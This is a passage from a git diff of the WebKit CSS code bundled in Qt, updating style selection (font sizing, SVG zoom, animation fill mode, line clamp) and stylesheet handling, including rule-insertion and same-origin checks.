+    documentStyle->setFontDescription(fontDescription);
+    documentStyle->font().update(0);
+    if (document->inCompatMode())
+        documentStyle->setHtmlHacks(true); // enable html specific rendering tricks
+        
+    return documentStyle.release();
+}
+
 // If resolveForRootDefault is true, style based on user agent style sheet only. This is used in media queries, where
 // relative units are interpreted according to document root element style, styled only with UA stylesheet
 
@@ -1297,7 +1337,9 @@ void CSSStyleSelector::keyframeStylesForAnimation(Element* e, const RenderStyle*
     // Get the keyframesRule for this name
     if (!e || list.animationName().isEmpty())
         return;
-            
+
+    m_keyframesRuleMap.checkConsistency();
+   
     if (!m_keyframesRuleMap.contains(list.animationName().impl()))
         return;
         
@@ -2368,15 +2410,8 @@ bool CSSStyleSelector::SelectorChecker::checkOneSelector(CSSSelector* sel, Eleme
                 }
                 break;
             case CSSSelector::PseudoEnabled:
-                if (e && e->isFormControlElement()) {
-                    InputElement* inputElement = toInputElement(e);
-                    if (inputElement && inputElement->isInputTypeHidden())
-                        break;
-                    // The UI spec states that you can't match :enabled unless you are an object that can
-                    // "receive focus and be activated."  We will limit matching of this pseudo-class to elements
-                    // that are non-"hidden" controls.
+                if (e && e->isFormControlElement())
                     return e->isEnabledFormControl();
-                }
                 break;
             case CSSSelector::PseudoFullPageMedia:
                 return e && e->document() && e->document()->isMediaDocument();
@@ -2384,16 +2419,8 @@ bool CSSStyleSelector::SelectorChecker::checkOneSelector(CSSSelector* sel, Eleme
             case CSSSelector::PseudoDefault:
                 return e && e->isDefaultButtonForForm();
             case CSSSelector::PseudoDisabled:
-                if (e && e->isFormControlElement()) {
-                    InputElement* inputElement = toInputElement(e);
-                    if (inputElement && inputElement->isInputTypeHidden())
-                        break;
-
-                    // The UI spec states that you can't match :enabled unless you are an object that can
-                    // "receive focus and be activated."  We will limit matching of this pseudo-class to elements
-                    // that are non-"hidden" controls.
+                if (e && e->isFormControlElement())
                     return !e->isEnabledFormControl();
-                }
                 break;
             case CSSSelector::PseudoReadOnly: {
                 if (!e || !e->isFormControlElement())
@@ -2409,11 +2436,17 @@ bool CSSStyleSelector::SelectorChecker::checkOneSelector(CSSSelector* sel, Eleme
                 return e && e->isOptionalFormControl();
             case CSSSelector::PseudoRequired:
                 return e && e->isRequiredFormControl();
-            case CSSSelector::PseudoValid:
-                return e && e->willValidate() && e->isValidFormControlElement();
-            case CSSSelector::PseudoInvalid:
-                return e && e->willValidate() && !e->isValidFormControlElement();
-            case CSSSelector::PseudoChecked: {
+            case CSSSelector::PseudoValid: {
+                if (!e)
+                    return false;
+                e->document()->setContainsValidityStyleRules();
+                return e->willValidate() && e->isValidFormControlElement();
+            } case CSSSelector::PseudoInvalid: {
+                if (!e)
+                    return false;
+                e->document()->setContainsValidityStyleRules();
+                return e->willValidate() && !e->isValidFormControlElement();
+            } case CSSSelector::PseudoChecked: {
                 if (!e || !e->isFormControlElement())
                     break;
                 // Even though WinIE allows checked and indeterminate to co-exist, the CSS selector spec says that
@@ -2556,6 +2589,9 @@ bool CSSStyleSelector::SelectorChecker::checkOneSelector(CSSSelector* sel, Eleme
             case CSSSelector::PseudoMediaControlsReturnToRealtimeButton:
                 dynamicPseudo = MEDIA_CONTROLS_RETURN_TO_REALTIME_BUTTON;
                 return true;
+            case CSSSelector::PseudoMediaControlsToggleClosedCaptions:
+                dynamicPseudo = MEDIA_CONTROLS_TOGGLE_CLOSED_CAPTIONS_BUTTON;
+                return true;
             case CSSSelector::PseudoMediaControlsStatusDisplay:
                 dynamicPseudo = MEDIA_CONTROLS_STATUS_DISPLAY;
                 return true;
@@ -2583,6 +2619,12 @@ bool CSSStyleSelector::SelectorChecker::checkOneSelector(CSSSelector* sel, Eleme
             case CSSSelector::PseudoResizer:
                 dynamicPseudo = RESIZER;
                 return true;
+            case CSSSelector::PseudoInnerSpinButton:
+                dynamicPseudo = INNER_SPIN_BUTTON;
+                return true;
+            case CSSSelector::PseudoOuterSpinButton:
+                dynamicPseudo = OUTER_SPIN_BUTTON;
+                return true;
             case CSSSelector::PseudoUnknown:
             case CSSSelector::PseudoNotParsed:
             default:
@@ -2864,7 +2906,7 @@ void CSSStyleSelector::applyDeclarations(bool applyFirst, bool isImportant,
                     case CSSPropertyFontVariant:
                     case CSSPropertyZoom:
                         // these have to be applied first, because other properties use the computed
-                        // values of these porperties.
+                        // values of these properties.
                         first = true;
                         break;
                     default:
@@ -2927,6 +2969,16 @@ void CSSStyleSelector::applyProperty(int id, CSSValue *value)
 
     float zoomFactor = m_style->effectiveZoom();
 
+    // SVG handles zooming in a different way compared to CSS. The whole document is scaled instead
+    // of each individual length value in the render style / tree. CSSPrimitiveValue::computeLength*()
+    // multiplies each resolved length with the zoom multiplier - so for SVG we need to disable that.
+    // Though all CSS values that can be applied to outermost <svg> elements (width/height/border/padding...)
+    // need to respect the scaling. RenderBox (the parent class of RenderSVGRoot) grabs values like
+    // width/height/border/padding/... from the RenderStyle -> for SVG these values would never scale,
+    // if we'd pass a 1.0 zoom factor everyhwere. So we only pass a zoom factor of 1.0 for specific
+    // properties that are NOT allowed to scale within a zoomed SVG document (letter/word-spacing/font-size).
+    bool useSVGZoomRules = m_element && m_element->isSVGElement();
+
     Length l;
     bool apply = false;
 
@@ -3029,7 +3081,7 @@ void CSSStyleSelector::applyProperty(int id, CSSValue *value)
 #if ENABLE(WCSS)
         if (primitiveValue) {
             if (primitiveValue->getIdent() == CSSValueWapMarquee) {
-                // Initialize Wap Marquee style
+                // Initialize WAP Marquee style
                 m_style->setOverflowX(OMARQUEE);
                 m_style->setOverflowY(OMARQUEE);
                 m_style->setWhiteSpace(NOWRAP);
@@ -3568,7 +3620,7 @@ void CSSStyleSelector::applyProperty(int id, CSSValue *value)
         } else {
             if (!primitiveValue)
                 return;
-            width = primitiveValue->computeLengthInt(style(), m_rootElementStyle, zoomFactor);
+            width = primitiveValue->computeLengthInt(style(), m_rootElementStyle, useSVGZoomRules ? 1.0f : zoomFactor);
         }
         switch (id) {
         case CSSPropertyLetterSpacing:
@@ -3878,7 +3930,7 @@ void CSSStyleSelector::applyProperty(int id, CSSValue *value)
             if (m_parentNode)
                 fontDescription.setKeywordSize(m_parentStyle->fontDescription().keywordSize());
         } else if (isInitial) {
-            size = fontSizeForKeyword(CSSValueMedium, m_style->htmlHacks(), fontDescription.useFixedDefaultSize());
+            size = fontSizeForKeyword(m_checker.m_document, CSSValueMedium, fontDescription.useFixedDefaultSize());
             fontDescription.setKeywordSize(CSSValueMedium - CSSValueXxSmall + 1);
         } else if (primitiveValue->getIdent()) {
             // Keywords are being used.
@@ -3891,7 +3943,7 @@ void CSSStyleSelector::applyProperty(int id, CSSValue *value)
                 case CSSValueXLarge:
                 case CSSValueXxLarge:
                 case CSSValueWebkitXxxLarge:
-                    size = fontSizeForKeyword(primitiveValue->getIdent(), m_style->htmlHacks(), fontDescription.useFixedDefaultSize());
+                    size = fontSizeForKeyword(m_checker.m_document, primitiveValue->getIdent(), fontDescription.useFixedDefaultSize());
                     fontDescription.setKeywordSize(primitiveValue->getIdent() - CSSValueXxSmall + 1);
                     break;
                 case CSSValueLarger:
@@ -3978,7 +4030,7 @@ void CSSStyleSelector::applyProperty(int id, CSSValue *value)
         if (primitiveValue->getIdent() == CSSValueNormal)
             lineHeight = Length(-100.0, Percent);
         else if (CSSPrimitiveValue::isUnitTypeLength(type)) {
-            double multiplier = m_style->effectiveZoom();
+            double multiplier = zoomFactor;
             if (m_style->textSizeAdjust() && m_checker.m_document->frame() && m_checker.m_document->frame()->shouldApplyTextZoom())
                 multiplier *= m_checker.m_document->frame()->textZoomFactor();
             lineHeight = Length(primitiveValue->computeLengthIntForLength(style(), m_rootElementStyle,  multiplier), Fixed);
@@ -4140,7 +4192,7 @@ void CSSStyleSelector::applyProperty(int id, CSSValue *value)
             // We need to adjust the size to account for the generic family change from monospace
             // to non-monospace.
             if (fontDescription.keywordSize() && fontDescription.useFixedDefaultSize())
-                setFontSize(fontDescription, fontSizeForKeyword(CSSValueXxSmall + fontDescription.keywordSize() - 1, m_style->htmlHacks(), false));
+                setFontSize(fontDescription, fontSizeForKeyword(m_checker.m_document, CSSValueXxSmall + fontDescription.keywordSize() - 1, false));
             fontDescription.setGenericFamily(initialDesc.genericFamily());
             if (!initialDesc.firstFamily().familyIsEmpty())
                 fontDescription.setFamily(initialDesc.firstFamily());
@@ -4217,7 +4269,7 @@ void CSSStyleSelector::applyProperty(int id, CSSValue *value)
         // If currFamily is non-zero then we set at least one family on this description.
         if (currFamily) {
             if (fontDescription.keywordSize() && fontDescription.useFixedDefaultSize() != oldFamilyUsedFixedDefaultSize)
-                setFontSize(fontDescription, fontSizeForKeyword(CSSValueXxSmall + fontDescription.keywordSize() - 1, m_style->htmlHacks(), !oldFamilyUsedFixedDefaultSize));
+                setFontSize(fontDescription, fontSizeForKeyword(m_checker.m_document, CSSValueXxSmall + fontDescription.keywordSize() - 1, !oldFamilyUsedFixedDefaultSize));
 
             if (m_style->setFontDescription(fontDescription))
                 m_fontDirty = true;
@@ -4437,7 +4489,7 @@ void CSSStyleSelector::applyProperty(int id, CSSValue *value)
                 fontDescription.firstFamily().appendFamily(0);
             }
             fontDescription.setKeywordSize(CSSValueMedium - CSSValueXxSmall + 1);
-            setFontSize(fontDescription, fontSizeForKeyword(CSSValueMedium, m_style->htmlHacks(), false));
+            setFontSize(fontDescription, fontSizeForKeyword(m_checker.m_document, CSSValueMedium, false));
             m_style->setLineHeight(RenderStyle::initialLineHeight());
             m_lineHeightValue = 0;
             if (m_style->setFontDescription(fontDescription))
@@ -4460,7 +4512,7 @@ void CSSStyleSelector::applyProperty(int id, CSSValue *value)
                 fontDescription.setUsePrinterFont(m_checker.m_document->printing());
            
                 // Handle the zoom factor.
-                fontDescription.setComputedSize(getComputedSizeFromSpecifiedSize(fontDescription.isAbsoluteSize(), fontDescription.specifiedSize()));
+                fontDescription.setComputedSize(getComputedSizeFromSpecifiedSize(m_checker.m_document, m_style.get(), fontDescription.isAbsoluteSize(), fontDescription.specifiedSize(), useSVGZoomRules));
                 if (m_style->setFontDescription(fontDescription))
                     m_fontDirty = true;
             }
@@ -5000,13 +5052,15 @@ void CSSStyleSelector::applyProperty(int id, CSSValue *value)
     case CSSPropertyWebkitMarginBottomCollapse:
         HANDLE_INHERIT_AND_INITIAL_AND_PRIMITIVE(marginBottomCollapse, MarginBottomCollapse)
         return;
-
-    // Apple-specific changes.  Do not merge these properties into KHTML.
     case CSSPropertyWebkitLineClamp: {
         HANDLE_INHERIT_AND_INITIAL(lineClamp, LineClamp)
         if (!primitiveValue)
             return;
-        m_style->setLineClamp(primitiveValue->getIntValue(CSSPrimitiveValue::CSS_PERCENTAGE));
+        int type = primitiveValue->primitiveType();
+        if (type == CSSPrimitiveValue::CSS_NUMBER)
+            m_style->setLineClamp(LineClampValue(primitiveValue->getIntValue(CSSPrimitiveValue::CSS_NUMBER), LineClampLineCount));
+        else if (type == CSSPrimitiveValue::CSS_PERCENTAGE)
+            m_style->setLineClamp(LineClampValue(primitiveValue->getIntValue(CSSPrimitiveValue::CSS_PERCENTAGE), LineClampPercentage));
         return;
     }
     case CSSPropertyWebkitHighlight: {
@@ -5222,6 +5276,9 @@ void CSSStyleSelector::applyProperty(int id, CSSValue *value)
     case CSSPropertyWebkitAnimationDuration:
         HANDLE_ANIMATION_VALUE(duration, Duration, value)
         return;
+    case CSSPropertyWebkitAnimationFillMode:
+        HANDLE_ANIMATION_VALUE(fillMode, FillMode, value)
+        return;
     case CSSPropertyWebkitAnimationIterationCount:
         HANDLE_ANIMATION_VALUE(iterationCount, IterationCount, value)
         return;
@@ -5267,6 +5324,17 @@ void CSSStyleSelector::applyProperty(int id, CSSValue *value)
         m_style->setPointerEvents(*primitiveValue);
         return;
     }
+    case CSSPropertyWebkitColorCorrection:
+        if (isInherit) 
+            m_style->setColorSpace(m_parentStyle->colorSpace());
+        else if (isInitial)
+            m_style->setColorSpace(DeviceColorSpace);
+        else {
+            if (!primitiveValue)
+                return;
+            m_style->setColorSpace(*primitiveValue);
+        }
+        return;
     case CSSPropertyInvalid:
         return;
     case CSSPropertyFontStretch:
@@ -5570,6 +5638,30 @@ void CSSStyleSelector::mapAnimationDuration(Animation* animation, CSSValue* valu
         animation->setDuration(primitiveValue->getFloatValue()/1000.0f);
 }
 
+void CSSStyleSelector::mapAnimationFillMode(Animation* layer, CSSValue* value)
+{
+    if (value->cssValueType() == CSSValue::CSS_INITIAL) {
+        layer->setFillMode(Animation::initialAnimationFillMode());
+        return;
+    }
+
+    CSSPrimitiveValue* primitiveValue = static_cast<CSSPrimitiveValue*>(value);
+    switch (primitiveValue->getIdent()) {
+    case CSSValueNone:
+        layer->setFillMode(AnimationFillModeNone);
+        break;
+    case CSSValueForwards:
+        layer->setFillMode(AnimationFillModeForwards);
+        break;
+    case CSSValueBackwards:
+        layer->setFillMode(AnimationFillModeBackwards);
+        break;
+    case CSSValueBoth:
+        layer->setFillMode(AnimationFillModeBoth);
+        break;
+    }
+}
+
 void CSSStyleSelector::mapAnimationIterationCount(Animation* animation, CSSValue* value)
 {
     if (value->cssValueType() == CSSValue::CSS_INITIAL) {
@@ -5769,7 +5861,7 @@ void CSSStyleSelector::checkForGenericFamilyChange(RenderStyle* style, RenderSty
     // multiplying by our scale factor.
     float size;
     if (childFont.keywordSize())
-        size = fontSizeForKeyword(CSSValueXxSmall + childFont.keywordSize() - 1, style->htmlHacks(), childFont.useFixedDefaultSize());
+        size = fontSizeForKeyword(m_checker.m_document, CSSValueXxSmall + childFont.keywordSize() - 1, childFont.useFixedDefaultSize());
     else {
         Settings* settings = m_checker.m_document->settings();
         float fixedScaleFactor = settings
@@ -5788,11 +5880,20 @@ void CSSStyleSelector::checkForGenericFamilyChange(RenderStyle* style, RenderSty
 void CSSStyleSelector::setFontSize(FontDescription& fontDescription, float size)
 {
     fontDescription.setSpecifiedSize(size);
-    fontDescription.setComputedSize(getComputedSizeFromSpecifiedSize(fontDescription.isAbsoluteSize(), size));
+
+    bool useSVGZoomRules = m_element && m_element->isSVGElement();
+    fontDescription.setComputedSize(getComputedSizeFromSpecifiedSize(m_checker.m_document, m_style.get(), fontDescription.isAbsoluteSize(), size, useSVGZoomRules)); 
 }
 
-float CSSStyleSelector::getComputedSizeFromSpecifiedSize(bool isAbsoluteSize, float specifiedSize)
+float CSSStyleSelector::getComputedSizeFromSpecifiedSize(Document* document, RenderStyle* style, bool isAbsoluteSize, float specifiedSize, bool useSVGZoomRules)
 {
+    float zoomFactor = 1.0f;
+    if (!useSVGZoomRules) {
+        zoomFactor = style->effectiveZoom();
+        if (document->frame() && document->frame()->shouldApplyTextZoom())
+            zoomFactor *= document->frame()->textZoomFactor();
+    }
+
     // We support two types of minimum font size.  The first is a hard override that applies to
     // all fonts.  This is "minSize."  The second type of minimum font size is a "smart minimum"
     // that is applied only when the Web page can't know what size it really asked for, e.g.,
@@ -5803,17 +5904,12 @@ float CSSStyleSelector::getComputedSizeFromSpecifiedSize(bool isAbsoluteSize, fl
     // However we always allow the page to set an explicit pixel size that is smaller,
     // since sites will mis-render otherwise (e.g., http://www.gamespot.com with a 9px minimum).
     
-    Settings* settings = m_checker.m_document->settings();
+    Settings* settings = document->settings();
     if (!settings)
         return 1.0f;
 
     int minSize = settings->minimumFontSize();
     int minLogicalSize = settings->minimumLogicalFontSize();
-
-    float zoomFactor = m_style->effectiveZoom();
-    if (m_checker.m_document->frame() && m_checker.m_document->frame()->shouldApplyTextZoom())
-        zoomFactor *= m_checker.m_document->frame()->textZoomFactor();
-
     float zoomedSize = specifiedSize * zoomFactor;
 
     // Apply the hard minimum first.  We only apply the hard minimum if after zooming we're still too small.
@@ -5874,12 +5970,13 @@ static const int strictFontSizeTable[fontSizeTableMax - fontSizeTableMin + 1][to
 // factors for each keyword value.
 static const float fontSizeFactors[totalKeywords] = { 0.60f, 0.75f, 0.89f, 1.0f, 1.2f, 1.5f, 2.0f, 3.0f };
 
-float CSSStyleSelector::fontSizeForKeyword(int keyword, bool quirksMode, bool fixed) const
+float CSSStyleSelector::fontSizeForKeyword(Document* document, int keyword, bool fixed)
 {
-    Settings* settings = m_checker.m_document->settings();
+    Settings* settings = document->settings();
     if (!settings)
         return 1.0f;
 
+    bool quirksMode = document->inCompatMode();
     int mediumSize = fixed ? settings->defaultFixedFontSize() : settings->defaultFontSize();
     if (mediumSize >= fontSizeTableMin && mediumSize <= fontSizeTableMax) {
         // Look up the entry in the table.
diff --git a/src/3rdparty/webkit/WebCore/css/CSSStyleSelector.h b/src/3rdparty/webkit/WebCore/css/CSSStyleSelector.h
index 6e0663f..284d561 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSStyleSelector.h
+++ b/src/3rdparty/webkit/WebCore/css/CSSStyleSelector.h
@@ -23,7 +23,6 @@
 #define CSSStyleSelector_h
 
 #include "CSSFontSelector.h"
-#include "KeyframeList.h"
 #include "LinkHash.h"
 #include "MediaQueryExp.h"
 #include "RenderStyle.h"
@@ -56,6 +55,7 @@ class Element;
 class Frame;
 class FrameView;
 class KURL;
+class KeyframeList;
 class MediaQueryEvaluator;
 class Node;
 class Settings;
@@ -65,7 +65,7 @@ class StyleSheetList;
 class StyledElement;
 class WebKitCSSKeyframesRule;
 
-class MediaQueryResult {
+class MediaQueryResult : public Noncopyable {
 public:
     MediaQueryResult(const MediaQueryExp& expr, bool result)
         : m_expression(expr)
@@ -92,6 +92,8 @@ public:
 
         PassRefPtr<RenderStyle> pseudoStyleForElement(PseudoId, Element*, RenderStyle* parentStyle = 0);
 
+        static PassRefPtr<RenderStyle> styleForDocument(Document*);
+
 #if ENABLE(DATAGRID)
         // Datagrid style computation (uses unique pseudo elements and structures)
         PassRefPtr<RenderStyle> pseudoStyleForDataGridColumn(DataGridColumn*, RenderStyle* parentStyle);
@@ -112,8 +114,8 @@ public:
 
         // Given a CSS keyword in the range (xx-small to -webkit-xxx-large), this function will return
         // the correct font size scaled relative to the user's default (medium).
-        float fontSizeForKeyword(int keyword, bool quirksMode, bool monospace) const;
-
+        static float fontSizeForKeyword(Document*, int keyword, bool monospace);
+        
     private:
         // When the CSS keyword "larger" is used, this function will attempt to match within the keyword
         // table, and failing that, will simply multiply by 1.2.
@@ -129,7 +131,7 @@ public:
         void applyPropertyToStyle(int id, CSSValue*, RenderStyle*);
 
     private:
-        float getComputedSizeFromSpecifiedSize(bool isAbsoluteSize, float specifiedSize);
+        static float getComputedSizeFromSpecifiedSize(Document*, RenderStyle*, bool isAbsoluteSize, float specifiedSize, bool useSVGZoomRules);
 
     public:
         Color getColorFromPrimitiveValue(CSSPrimitiveValue*);
@@ -233,6 +235,7 @@ public:
         void mapAnimationDelay(Animation*, CSSValue*);
         void mapAnimationDirection(Animation*, CSSValue*);
         void mapAnimationDuration(Animation*, CSSValue*);
+        void mapAnimationFillMode(Animation*, CSSValue*);
         void mapAnimationIterationCount(Animation*, CSSValue*);
         void mapAnimationName(Animation*, CSSValue*);
         void mapAnimationPlayState(Animation*, CSSValue*);
@@ -286,7 +289,7 @@ public:
         HashMap<CSSMutableStyleDeclaration*, RefPtr<CSSMutableStyleDeclaration> > m_resolvedVariablesDeclarations;
     };
 
-    class CSSRuleData {
+    class CSSRuleData : public Noncopyable {
     public:
         CSSRuleData(unsigned pos, CSSStyleRule* r, CSSSelector* sel, CSSRuleData* prev = 0)
             : m_position(pos)
@@ -314,7 +317,7 @@ public:
         CSSRuleData* m_next;
     };
 
-    class CSSRuleDataList {
+    class CSSRuleDataList : public Noncopyable {
     public:
         CSSRuleDataList(unsigned pos, CSSStyleRule* rule, CSSSelector* sel)
             : m_first(new CSSRuleData(pos, rule, sel))
diff --git a/src/3rdparty/webkit/WebCore/css/CSSStyleSheet.cpp b/src/3rdparty/webkit/WebCore/css/CSSStyleSheet.cpp
index 1579999..fb25374 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSStyleSheet.cpp
+++ b/src/3rdparty/webkit/WebCore/css/CSSStyleSheet.cpp
@@ -28,39 +28,43 @@
 #include "Document.h"
 #include "ExceptionCode.h"
 #include "Node.h"
+#include "SecurityOrigin.h"
 #include "TextEncoding.h"
 #include <wtf/Deque.h>
 
 namespace WebCore {
 
-CSSStyleSheet::CSSStyleSheet(CSSStyleSheet* parentSheet, const String& href, const String& charset)
-    : StyleSheet(parentSheet, href)
+CSSStyleSheet::CSSStyleSheet(CSSStyleSheet* parentSheet, const String& href, const KURL& baseURL, const String& charset)
+    : StyleSheet(parentSheet, href, baseURL)
     , m_doc(parentSheet ? parentSheet->doc() : 0)
     , m_namespaces(0)
     , m_charset(charset)
     , m_loadCompleted(false)
     , m_strictParsing(!parentSheet || parentSheet->useStrictParsing())
     , m_isUserStyleSheet(parentSheet ? parentSheet->isUserStyleSheet() : false)
+    , m_hasSyntacticallyValidCSSHeader(true)
 {
 }
 
-CSSStyleSheet::CSSStyleSheet(Node* parentNode, const String& href, const String& charset)
-    : StyleSheet(parentNode, href)
+CSSStyleSheet::CSSStyleSheet(Node* parentNode, const String& href, const KURL& baseURL, const String& charset)
+    : StyleSheet(parentNode, href, baseURL)
     , m_doc(parentNode->document())
     , m_namespaces(0)
     , m_charset(charset)
     , m_loadCompleted(false)
     , m_strictParsing(false)
     , m_isUserStyleSheet(false)
+    , m_hasSyntacticallyValidCSSHeader(true)
 {
 }
 
-CSSStyleSheet::CSSStyleSheet(CSSRule* ownerRule, const String& href, const String& charset)
-    : StyleSheet(ownerRule, href)
+CSSStyleSheet::CSSStyleSheet(CSSRule* ownerRule, const String& href, const KURL& baseURL, const String& charset)
+    : StyleSheet(ownerRule, href, baseURL)
     , m_namespaces(0)
     , m_charset(charset)
     , m_loadCompleted(false)
     , m_strictParsing(!ownerRule || ownerRule->useStrictParsing())
+    , m_hasSyntacticallyValidCSSHeader(true)
 {
     CSSStyleSheet* parentSheet = ownerRule ? ownerRule->parentStyleSheet() : 0;
     m_doc = parentSheet ? parentSheet->doc() : 0;
@@ -92,9 +96,24 @@ unsigned CSSStyleSheet::insertRule(const String& rule, unsigned index, Exception
         return 0;
     }
 
-    // ###
-    // HIERARCHY_REQUEST_ERR: Raised if the rule cannot be inserted at the specified index e.g. if an
-    //@import rule is inserted after a standard rule set or other at-rule.
+    // Throw a HIERARCHY_REQUEST_ERR exception if the rule cannot be inserted at the specified index.  The best
+    // example of this is an @import rule inserted after regular rules.
+    if (index > 0) {
+        if (r->isImportRule()) {
+            // Check all the rules that come before this one to make sure they are only @charset and @import rules.
+            for (unsigned i = 0; i < index; ++i) {
+                if (!item(i)->isCharsetRule() && !item(i)->isImportRule()) {
+                    ec = HIERARCHY_REQUEST_ERR;
+                    return 0;
+                }
+            }
+        } else if (r->isCharsetRule()) {
+            // The @charset rule has to come first and there can be only one.
+            ec = HIERARCHY_REQUEST_ERR;
+            return 0;
+        }
+    }
+
     insert(index, r.release());
     
     styleSheetChanged();
@@ -118,6 +137,8 @@ int CSSStyleSheet::addRule(const String& selector, const String& style, Exceptio
 
 PassRefPtr<CSSRuleList> CSSStyleSheet::cssRules(bool omitCharsetRules)
 {
+    if (doc() && !doc()->securityOrigin()->canRequest(baseURL()))
+        return 0;
     return CSSRuleList::create(this, omitCharsetRules);
 }
 
@@ -135,7 +156,7 @@ void CSSStyleSheet::deleteRule(unsigned index, ExceptionCode& ec)
 
 void CSSStyleSheet::addNamespace(CSSParser* p, const AtomicString& prefix, const AtomicString& uri)
 {
-    if (uri.isEmpty())
+    if (uri.isNull())
         return;
 
     m_namespaces = new CSSNamespace(prefix, uri, m_namespaces);
@@ -148,11 +169,11 @@ void CSSStyleSheet::addNamespace(CSSParser* p, const AtomicString& prefix, const
 
 const AtomicString& CSSStyleSheet::determineNamespace(const AtomicString& prefix)
 {
-    if (prefix.isEmpty())
+    if (prefix.isNull())
         return nullAtom; // No namespace. If an element/attribute has a namespace, we won't match it.
-    else if (prefix == starAtom)
+    if (prefix == starAtom)
         return starAtom; // We'll match any namespace.
-    else if (m_namespaces) {
+    if (m_namespaces) {
         CSSNamespace* ns = m_namespaces->namespaceForPrefix(prefix);
         if (ns)
             return ns->uri();
@@ -227,10 +248,12 @@ void CSSStyleSheet::addSubresourceStyleURLs(ListHashSet<KURL>& urls)
         CSSStyleSheet* styleSheet = styleSheetQueue.first();
         styleSheetQueue.removeFirst();
 
-        RefPtr<CSSRuleList> ruleList = styleSheet->cssRules();
-
-        for (unsigned i = 0; i < ruleList->length(); ++i) {
-            CSSRule* rule = ruleList->item(i);
+        for (unsigned i = 0; i < styleSheet->length(); ++i) {
+            StyleBase* styleBase = styleSheet->item(i);
+            if (!styleBase->isRule())
+                continue;
+            
+            CSSRule* rule = static_cast<CSSRule*>(styleBase);
             if (rule->isImportRule()) {
                 if (CSSStyleSheet* ruleStyleSheet = static_cast<CSSImportRule*>(rule)->styleSheet())
                     styleSheetQueue.append(ruleStyleSheet);
diff --git a/src/3rdparty/webkit/WebCore/css/CSSStyleSheet.h b/src/3rdparty/webkit/WebCore/css/CSSStyleSheet.h
index f534104..bb14e28 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSStyleSheet.h
+++ b/src/3rdparty/webkit/WebCore/css/CSSStyleSheet.h
@@ -38,27 +38,31 @@ class CSSStyleSheet : public StyleSheet {
 public:
     static PassRefPtr<CSSStyleSheet> create()
     {
-        return adoptRef(new CSSStyleSheet(static_cast<CSSStyleSheet*>(0), String(), String()));
+        return adoptRef(new CSSStyleSheet(static_cast<CSSStyleSheet*>(0), String(), KURL(), String()));
     }
     static PassRefPtr<CSSStyleSheet> create(Node* ownerNode)
     {
-        return adoptRef(new CSSStyleSheet(ownerNode, String(), String()));
+        return adoptRef(new CSSStyleSheet(ownerNode, String(), KURL(), String()));
     }
-    static PassRefPtr<CSSStyleSheet> create(Node* ownerNode, const String& href)
+    static PassRefPtr<CSSStyleSheet> create(Node* ownerNode, const String& originalURL, const KURL& finalURL)
     {
-        return adoptRef(new CSSStyleSheet(ownerNode, href, String()));
+        return adoptRef(new CSSStyleSheet(ownerNode, originalURL, finalURL, String()));
     }
-    static PassRefPtr<CSSStyleSheet> create(Node* ownerNode, const String& href, const String& charset)
+    static PassRefPtr<CSSStyleSheet> create(Node* ownerNode, const String& originalURL, const KURL& finalURL, const String& charset)
     {
-        return adoptRef(new CSSStyleSheet(ownerNode, href, charset));
+        return adoptRef(new CSSStyleSheet(ownerNode, originalURL, finalURL, charset));
     }
-    static PassRefPtr<CSSStyleSheet> create(CSSRule* ownerRule, const String& href, const String& charset)
+    static PassRefPtr<CSSStyleSheet> create(CSSRule* ownerRule, const String& originalURL, const KURL& finalURL, const String& charset)
     {
-        return adoptRef(new CSSStyleSheet(ownerRule, href, charset));
+        return adoptRef(new CSSStyleSheet(ownerRule, originalURL, finalURL, charset));
+    }
+    static PassRefPtr<CSSStyleSheet> createInline(Node* ownerNode, const KURL& finalURL)
+    {
+        return adoptRef(new CSSStyleSheet(ownerNode, finalURL.string(), finalURL, String()));
     }
 
     virtual ~CSSStyleSheet();
-    
+
     CSSRule* ownerRule() const;
     PassRefPtr<CSSRuleList> cssRules(bool omitCharsetRules = false);
     unsigned insertRule(const String& rule, unsigned index, ExceptionCode&);
@@ -72,7 +76,7 @@ public:
 
     void addNamespace(CSSParser*, const AtomicString& prefix, const AtomicString& uri);
     const AtomicString& determineNamespace(const AtomicString& prefix);
-    
+
     virtual void styleSheetChanged();
 
     virtual bool parseString(const String&, bool strict = true);
@@ -95,12 +99,14 @@ public:
 
     void setIsUserStyleSheet(bool b) { m_isUserStyleSheet = b; }
     bool isUserStyleSheet() const { return m_isUserStyleSheet; }
+    void setHasSyntacticallyValidCSSHeader(bool b) { m_hasSyntacticallyValidCSSHeader = b; }
+    bool hasSyntacticallyValidCSSHeader() const { return m_hasSyntacticallyValidCSSHeader; }
 
 private:
-    CSSStyleSheet(Node* ownerNode, const String& href, const String& charset);
-    CSSStyleSheet(CSSStyleSheet* parentSheet, const String& href, const String& charset);
-    CSSStyleSheet(CSSRule* ownerRule, const String& href, const String& charset);
-    
+    CSSStyleSheet(Node* ownerNode, const String& originalURL, const KURL& finalURL, const String& charset);
+    CSSStyleSheet(CSSStyleSheet* parentSheet, const String& originalURL, const KURL& finalURL, const String& charset);
+    CSSStyleSheet(CSSRule* ownerRule, const String& originalURL, const KURL& finalURL, const String& charset);
+
     virtual bool isCSSStyleSheet() const { return true; }
     virtual String type() const { return "text/css"; }
 
@@ -110,6 +116,7 @@ private:
     bool m_loadCompleted : 1;
     bool m_strictParsing : 1;
     bool m_isUserStyleSheet : 1;
+    bool m_hasSyntacticallyValidCSSHeader : 1;
 };
 
 } // namespace
diff --git a/src/3rdparty/webkit/WebCore/css/CSSStyleSheet.idl b/src/3rdparty/webkit/WebCore/css/CSSStyleSheet.idl
index d10844c..e180217 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSStyleSheet.idl
+++ b/src/3rdparty/webkit/WebCore/css/CSSStyleSheet.idl
@@ -21,11 +21,7 @@
 module css {
 
     // Introduced in DOM Level 2:
-    interface [
-        GenerateConstructor,
-        InterfaceUUID=2f547f65-f8c4-4f13-8724-ed10ed79dcc4,
-        ImplementationUUID=1b5c24b3-8b6f-43a9-8891-654ba858f42f
-    ] CSSStyleSheet : stylesheets::StyleSheet {
+    interface CSSStyleSheet : stylesheets::StyleSheet {
         readonly attribute CSSRule          ownerRule;
         readonly attribute CSSRuleList      cssRules;
 
diff --git a/src/3rdparty/webkit/WebCore/css/CSSUnknownRule.idl b/src/3rdparty/webkit/WebCore/css/CSSUnknownRule.idl
index 2365cd2..b62ceb8 100644
--- a/src/3rdparty/webkit/WebCore/css/CSSUnknownRule.idl
+++ b/src/3rdparty/webkit/WebCore/css/CSSUnknownRule.idl
